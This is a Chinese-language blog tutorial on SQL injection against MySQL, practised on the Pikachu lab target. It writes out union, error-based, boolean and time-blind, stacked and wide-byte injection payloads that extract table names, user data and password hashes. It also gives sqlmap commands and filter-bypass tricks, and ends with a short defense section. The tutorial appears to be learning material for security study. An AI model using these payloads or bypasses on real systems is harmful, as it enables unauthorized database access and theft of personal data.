目录

SQL注入原理

SQL注入条件

基本知识（Mysql）

注入点检测

其他

基本流程

SQL注入技术

Union注入攻击

注入点判断

字段判断

查询当前数据库

查询表名

 查询列名

查询所需字段值

Error注入攻击

查询表名

 查询列名

查询所需字段值

Boolean注入攻击

Time注入攻击

Stack注入攻击

inline Query绕过注入攻击

宽字节绕过注入

Pikachu其他题目

数字型注入

 注入点判断

字段数确定

查询当前数据库

查询当前表

查询当前列

查询当前字段

字符型注入

判断闭合

获取数据

搜索型注入

xx型注入

注入判断

 "insert/update"注入

"delete注入"

宽字节注入

绕过

大小写绕过

双写绕过

内联注释

注释符绕过

or/and绕过

空格绕过

防御SQL注入的方法

使用预编译语句

使用存储过程

检查数据类型

使用安全函数

---

SQL注入原理

程序员没有遵循代码与数据分离原则，使用户数据作为代码执行。

SQL注入条件

• 用户可以控制数据的输入。
• 原本要运行的代码拼接了用户的输入并运行。

基本知识（Mysql）

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

添加 sleep(3)看页面是否返回时间长

其他

关于select、union、limit、database等sql语句及函数我都放在了这篇文章，如果您对基本函数还不了解，可以先看下面的文章。

网络安全-Mysql注入知识点

文中有使用sqlmap，关于sqlmap的内容，可以查看网络安全-sqlmap学习笔记

基本流程

SQL注入技术

先按照sqlmap的分类（BUETSQ），然后是其他，由易到难，使用靶机pikachu。

Union注入攻击

利用union查询来运行想要的sql语句

字符型注入，目标：获取当前数据库中的所有用户名及其他感兴趣的信息。

注入点判断

d' and 1=1#复制

 字符型注入点，使用单引号闭合即可

字段判断

order by 1和2时没有问题

d' order by 3#复制

字段数为2，有回显，union没有被过滤，使用Union注入

sql语句猜测，从某个表根据用户名返回两个字段

select field1,field2 from table where 用户名 = ''

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#复制

 得到数据库名pikachu

查询表名

d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#复制

查询到的表

得到表名httpinfo、member、message、users、xssblind

 查询列名

根据我们的目标，假设对member感兴趣

d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#复制

 users表中有id、username、pw、phonenum、address、email

通过以上信息，猜测sql语句

select id,email from member where username = ''

查询所需字段值

有了username就可以通过他给的表单获取对应email，所以就假设我们对phone、address更感兴趣，0x3a是冒号

d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#复制

你可以尝试以下查询 vince。

Error注入攻击

如果union被过滤，可以使用基于错误的注入攻击，一般利用floor，updatexml, extractvalue函数、还有exp和一些几何函数，补充exp：Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。

Floor函数报错

关键函数：
Rand() -------产生0~1的伪随机数
Floor() -------向下取整数
Concat() -----连接字符串
Count() ------计算总数

Payload如下：
Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

 根据x字段进行分组，统计x的个数

group by key 在执行时循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则更新临时表中的数据（更新数据时，不再计算rand值）；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。（插入数据时，会再计算rand值）

如果此时临时表只有key为1的行不存在key为0的行，那么数据库要将该条记录插入临时表，由于是随机数，插时又要计算一下随机值，此时 floor(random(0)*2)结果可能为1，就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

爆数据库lady_killer9。

这里利用updatexml函数，报错原理简单，第二个不是XPATH类型字符串就报错。

一般使用如下结构,sql是你想运行的sql语句。

updatexml(1,concat(0x7e,(sql),0x7e),1)

0x7e是~，使用char(126)也是一样的，concat()函数是将其连成一个字符串，因此不会符合XPATH_string的格式，从而出现格式错误，爆出sql语句运行后的结果。

 sqlmap集成了上述的三种方式，同时还有其他的

字符型注入，目标：获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。

注入点和字段数判断同上，已知：

字符型注入点，使用单引号闭合即可

字段数为2，有回显，updatexml没有被过滤，使用报错注入

查询表名

d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#复制

注意，结果只能是一行，所以使用了limit 0,1获得第一个表

当sql语句是使用 limit 3,1是时候就可以得到了users表。

 查询列名

d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#复制

同样，当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时，就得到了username、password、level三个列名。

查询所需字段值

假设我们对username和password感兴趣

d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#复制

当然密码加了密，剩下的交给搞Cryto的人吧。可以看出报错注入攻击比较麻烦，如果有回显，union没有被过滤，还是优先使用union注入攻击。

----------------------------------------没有回显---------------------------------------------------

接下来就是难度中等的了，没有回显，采用盲注

Boolean注入攻击

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#复制

此时，条件语句where username='vince' and length(database())=7是True，也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#复制

vince' and ascii(substr(database(),1,1))=112#复制

vince' and ascii(substr(database(),2,1))=105#复制

上面是数据库名第二字符'i'的，数据库名出来后再将database()改为select语句去找表名等，一般是写脚本，一个个的手工判断时间太长，有时间写了脚本再来更新，或者使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch复制

使用的是MID函数，和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

Time注入攻击

基于时间的攻击，利用if、sleep、benchmark、get_lock等函数，使用rpad或repeat构造长字符串，加RLIKE，利用多个大表的笛卡尔积。

GET_LOCK有两个参数，一个是key,表示要加锁的字段，另一个是加锁失败后的等待时间(s)，这种绕过方法是存在限制条件的，即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#复制

同样，也是写脚本，通过返回的时间长短判断，可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch复制

 太慢了，有其他办法不建议使用这个。

Stack注入攻击

需要后台代码是可以执行多条sql语句的，php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句，多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表（单引号闭合）

';show databases;show tables;%23复制

 可以看到sqlmap中注入技术选择S时，payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

inline Query绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码，如GBK中才有的，编码将两个字节认为是一个汉字（前一个字符ascii码要大于128，才到汉字的范围）。addslashes函数为了防止sql注入，将传入参数值进行转义，将' 转义为\'，单引号失去作用。因此，我们需要将\给绕过，这样才可以加'号。

\编码为%5C,我们一般在地址后添加%df。

添加后\变成了汉字，这样就绕过了。之后就和前面的一样了，当然，还有双引号等，除了GBK还有GB2312等编码，有兴趣的可以整理一下所有的。

为了方便理解，修改一下源代码，打印一下sql语句 。

%df%5C%27 or 1=1#复制

 后端及数据库设置字符集为GBK，或其他低位为%5C的字符集。

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入

参数为数字，一般是id等。

参数为id和submit，其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

 注入点判断

id=1 and 1=1&submit=查询复制

id=1 and 1=2&submit=查询复制

字段数确定

id=3 order by 3&submit=查询复制

 我就从2开始的，靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库

id=1 union select 1,database()&submit=查询复制

查询当前表

由于火狐对hackbar的一些限制，插件无法正常运行sql语句，就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询复制

实际sql语句执行是这样的

查询当前列

post data应该是这样的

id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='member'&submit=查询复制

实际sql语句执行是这样的

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询复制

实际sql语句执行是这样的

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述，接下来大部分只讲原理，有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入，通过闭合+注释的方式来进行SQL注入，一般是'或"，或者结合()。

判断闭合

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2复制

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下，

select * from users where username like '%$name'

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2复制

使用'or 1=1，条件判断为TRUE，所有的都返回，想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

我还以为书上没写的呢，其实还是字符型，只不过需要两个字符去闭合，就是前面提到的()，sql语句类型下面这种。

select * from users where username = ('$name')

不写了，和前面的差不多。

 "insert/update"注入

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'复制

0x7e是~，结果如下：

"delete注入"

和上面的差不多,id那里可以报错注入，可以使用Burpsuite进行抓包。

宽字节注入

博主数据库编码设置的utf-8，就不演示了，其实除了加一个%df外也没什么特别的地方，也可以使用其他的，sqlmap中有temper脚本进行绕过，使用的是%bf。

绕过

大小写绕过

sql语句对一些关键词不区分大小写，如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除，可以通过双写构造删除后符合语法的sql语句

selselectect * from user

内联注释

mysql扩展功能，在/*后加惊叹号，注释中的语句会被执行

and /*!select * from user*/

注释符绕过

注释符不影响语句的连接，

sel/**/ect * from user

or/and绕过

使用逻辑符号代替：and = &&, or = ||

select * from emp where sal > 500 && sal < 3000;

空格绕过

有的网站过滤了空格，可以尝试使用

%0a、%b、%0c、%0d、%09、%a0

或者

/**/、()

例如

 select * from/**/emp where (sal) > 500 && sal < 3000;

等价于

  select * from emp where sal > 500 and sal < 3000;

防御SQL注入的方法

使用预编译语句

绑定变量，攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法，就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。

使用存储过程

使用安全的存储过程对抗SQL注入，由于存储过程中也可能存在SQL注入问题，应尽量避免使用动态SQL语句。

检查数据类型

例如，需要输入的是整型，那么，可以判断用户的输入，如果包含非整型，例如，字符串"AND"、“BENCHMARK”等，则不运行sql语句。其他类型，例如，邮箱等可以通过使用正则表达式来进行判断。

使用安全函数

各个厂商都有一些安全函数，例如，微软SQL安全函数

关于如何进行sql注入及靶机实战，可以参考下方链接。

未完待续...

 更多内容查看：网络安全-自学笔记

喜欢本文的请动动小手点个赞，收藏一下，有问题请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请及时联系。如果您感觉有所收获，自愿打赏，可选择支付宝18833895206（小于），您的支持是我不断更新的动力。